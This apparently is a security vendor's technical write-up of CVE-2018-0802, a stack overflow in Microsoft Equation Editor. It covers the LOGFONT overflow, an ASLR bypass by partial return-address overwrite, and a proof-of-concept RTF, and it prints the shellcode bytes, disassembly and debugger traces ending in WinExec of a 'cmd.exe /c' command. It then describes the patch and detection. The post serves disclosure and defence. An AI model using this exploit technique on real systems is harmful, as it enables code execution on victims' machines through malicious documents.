Microsoft Office Memory Corruption Vulnerability: CVE-2018-0802

A stack overflow vulnerability in “Microsoft Equation Editor” was disclosed to Microsoft. This vulnerability has been assigned CVE-2018-0802. A similar vulnerability was disclosed in the same component in August 2017 – CVE-2017-11882 which overflowed the stack and was able to execute commands by calling the WinExec() within the EQNEDT32.EXE code base using a static address. CVE-2018-0802 follows a similar trend.

Vulnerability
The target function for this vulnerability is EQNEDT32.EXE+0x21E39. This function receives the LOGFONT structure from function EQNEDT32.EXE+0x21774, this structure is user controlled and unfortunately the caller does not validate the structure before passing it on as a function argument. The issue occurs in the code segment shown below.

Overwriting stored EIP

The user supplied LOGFONT structure is passed to function EQNEDT32.EXE+0x21E39. As per Microsoft documentation the format of the lfFaceName is member of the LOGFONT structure and it is 32 byte null terminated string that represents the name of the font. Unfortunately this size limit is not enforced here, When execution reaches the highlighted instruction EDI contains the stack address where return address for function EQNEDT32.EXE+0x21774 is stored, it will overwrite this address. An attacker can leverage this to control the execution flow if he manages to bypass ASLR.

Exploitation
An attacker can craft a custom document and forward it to the user via spam mail or other forms of social engineering. Upon opening the document MS Word will invoke Microsoft Equation Editor(EQNEDT32.EXE) to render the equation object embedded within the file. The function parsing the MTEF header will overflow the stack with the current address of WinExec() and its required arguments.To patch CVE-2017-11882 Microsoft enabled ASLR for EQNEDT32.EXE so that attackers can no longer call WinExec() using a hard coded address. This means that EQNEDT32.EXE will have a different base address every time it loads.

Bypassing ASLR:
Checkpoint disclosed that ASLR can be bypassed in a 32 bit Windows OS. The random base address has an entropy of 8-bit and therefore it can have 2^8 =256 combinations. So we can create a custom file that contains 256 equation OLE object for every possible combination of the base address. The OLE with the appropriate base address can execute a ROP chain leading to WinExec(). They also noted that EQNEDT32.EXE crashes silently this works in the favour of the attacker.

Another approach to bypass is exploit the ASLR design limitations, on a 32-bit Windows OS randomizes only the upper 2 bytes of the base address the lower address remains the same. When we over write the buffer we also destroy the stack entry for the calling function, if this is not handled the application will crash. So to normalize the execution flow we will need to return to the calling function. We will need to find a return instruction ret at address ----00XX. We need the 00 so that the we can control the length of the string that we will be copied to the target buffer.

Upon checking the ASM code for EQNEDT32 we find a return instruction at EqnEdt32+0x20025. We will over write the last to bytes of the stored return address to 0025. Below is the vulnerable code that will help us overwrite the return address.

Vulnerable code

To achieve this we use a PoC which is a .rtf file containing a custom equation object where the LOGFONT structure contains a large string of 94 bytes ending with 25 00. This string contains the shellcode to execute WinExec() we will analyse this further in the following sections.

0029ef44  33 c0 50 8d 44 24 52 50-eb 7f 63 6d 64 2e 65 78  3.P.D$RP..cmd.ex
0029ef54  65 20 2f 63 20 25 74 65-6d 70 25 5c 63 61 6c 63  e /c %temp%\calc
0029ef64  2e 62 61 74 20 20 20 20-20 20 20 20 20 20 20 20  .bat            
0029ef74  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20                  
0029ef84  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20                  
0029ef94  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20                  
0029efa4  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20                  
0029efb4  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20                  
0029efc4  20 20 20 20 20 20 20 20-26 90 8b 44 24 2c 66 2d          &..D$,f-
0029efd4  51 a8 ff e0 25 00                                Q...%.

In the image below we can see the call stack leading to the our target function EqnEdt32+21E39. Here 011014e2 is the return address for function EqnEdt32+21774 the aim is to change 011014e2 -> 01100025.

 # ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0029f570 011017c8 EqnEdt32!FMDFontListEnum+0xba8    << SUB_EqnEdt32+21E39
01 0029f668 011014e2 EqnEdt32!FMDFontListEnum+0x534    << SUB_EqnEdt32+21774
02 0029f694 010f0e67 EqnEdt32!FMDFontListEnum+0x24e    << SUB_EqnEdt32+214c6
03 0029f6d4 010f2a92 EqnEdt32!EqnFrameWinProc+0x2387
04 0029f894 010f2929 EqnEdt32!EqnFrameWinProc+0x3fb2
05 0029fa48 010ee50e EqnEdt32!EqnFrameWinProc+0x3e49
06 0029fa88 0112ce8b EqnEdt32!MtInsituWndProc+0x57a0
0:000> u 01100025
EqnEdt32!ZoomDlgProc+0x1a5e:
01100025 c3              ret
01100026 55              push    ebp
01100027 8bec            mov     ebp,esp
01100029 53              push    ebx
0110002a 56              push    esi

The ret instruction will move the control flow to the stack where we can execute a ROP chain leading to WinExec(). In the debug log below we can see the stack frame for function EqnEdt32+21774 getting destroyed after overflowing the local variable.

---Call stack before Overflow---
# ChildEBP RetAddr  								
00 0029edfc 011017c8 EqnEdt32!FMDFontListEnum+0xbd1 
01 0029eef4 011014e2 EqnEdt32!FMDFontListEnum+0x534 
02 0029ef20 0111b463 EqnEdt32!FMDFontListEnum+0x24e 
03 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66     
04 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3     
05 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32     
06 0029f0dc 0110f926 EqnEdt32!MFEnumFunc+0x8ddd     

---Call stack after Overflow---
 # ChildEBP RetAddr  
00 0029edfc 011017c8 EqnEdt32!FMDFontListEnum+0xbd3
01 0029ef20 0111b463 EqnEdt32!FMDFontListEnum+0x534
02 0029efdc 77799dd1 EqnEdt32!MFEnumFunc+0xcc66
03 0029effc 77799edb kernel32!GlobalUnlock+0x81
04 0029f03c 010f775e kernel32!GlobalLock+0xd6
05 0029f048 0111a8a0 EqnEdt32!EqnFrameWinProc+0x8c7e
06 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3

When we check the stack frame manually at 0029eef4+0x4 we can see overwritten return address. Also important to note that the address of the exploit string is also reachable through the stack 0029ef44.

0029eef8  01100025
0029eefc  0029ef44
0029ef00  00290001
0029ef04  00000001
0029ef08  0029ef1c

We continue executing till we reach the leave instruction, this is important because it releases the current function’s stack frame and restores the callers (EqnEdt32+21774) stack. Notice the change in return address.

eax=0029ee48 ebx=00000000 ecx=77a86570 edx=00482e44 esi=0029f374 edi=0029f174
eip=01101f17 esp=0029ee00 ebp=0029eef4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
EqnEdt32!FMDFontListEnum+0xc83:
01101f17 c3              ret
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0029eef4 01100025 EqnEdt32!FMDFontListEnum+0xc83 << return address used to be 011014e2
01 0029ef20 0111b463 EqnEdt32!ZoomDlgProc+0x1a5e
02 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66
03 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3
04 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32</pre

After executing ret at 01100025 EIP will point to 0029ef44 and continue executing from here.

eax=00000001 ebx=00000000 ecx=0029ede4 edx=77a770b4 esi=0029f374 edi=0029f174
eip=0029ef44 esp=0029ef00 ebp=e0ffa851 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0029ef44 33c0            xor     eax,eax
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0029ef20 0111b463 0x29ef44
01 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66
02 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3
03 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32
04 0029f0dc 0110f926 EqnEdt32!MFEnumFunc+0x8ddd

We are able to execute instructions from the stack because DEP is disabled for EQNEDT32.EXE.

DEP disabled

It will execute the shellcode described below.

0029ef44 33c0            xor     eax,eax	
0029ef46 50              push    eax		// uCmdShow arguement for WinExec
0029ef47 8d442452        lea     eax,[esp+52h] 	// points to "cmd.exe /c %temp %\calc.bat"
0029ef4b 50              push    eax		// lpCmdLine arguement for WinExec
0029ef4c eb7f            jmp     0029efcd
.
.
.
0029efcd 90              nop
0029efce 8b44242c        mov     eax,dword ptr [esp+2Ch] 
0029efd2 662d51a8        sub     ax,0A851h	// calculating address for call WinExec() 
0029efd6 ffe0            jmp     eax		// Jumping to call WinExec() EAX = EqnEdt32+30c12

Final call to WinExec()

01110c12 ff151c681401    call    dword ptr [EqnEdt32!FltToolbarWinProc+0x1c6b5 (0114681c)] ds:0023:0114681c={kernel32!WinExec (777de5fd)}
'>>>>>>STACK VALUES<<<<<<'
0029eef8  0029ef4e lpCmdLine - "cmd.exe /c %temp%\calc.bat ...."
0029eefc  00000000 uCmdShow - Hides the console window and activates another window.
0029ef00  00290001
0029ef04  00000001

Executing calc.exe via cmd.exe

Executing calc.exe

Fix
Microsoft has removed the original Equation Editor functionality from the MS Office suite and opted to have as a built-in functionality rather than separate executable, the equation editor is built into Office version 2007 or later. So the threat/exploit protection mechanisms for MS Office are extended for the Equation OLE objects as well. A down side to this fix is that users will not be able to edit equations that were inserted using Equation Editor 3.0.

Mitigation
Microsoft has addressed this vulnerability in patches released in January 2018. Please scan your network using QID 110310 to detect vulnerable targets.

Please continue to follow Qualys Threat Protection for more information on this vulnerability.

References
CVE-2018-0802 | Microsoft Office Memory Corruption Vulnerability
Many Formulas, One Calc – Exploiting a New Office Equation Vulnerability
CVE-2018-0802 – Qihoo 360

Leave a Reply

Your email address will not be published. Required fields are marked *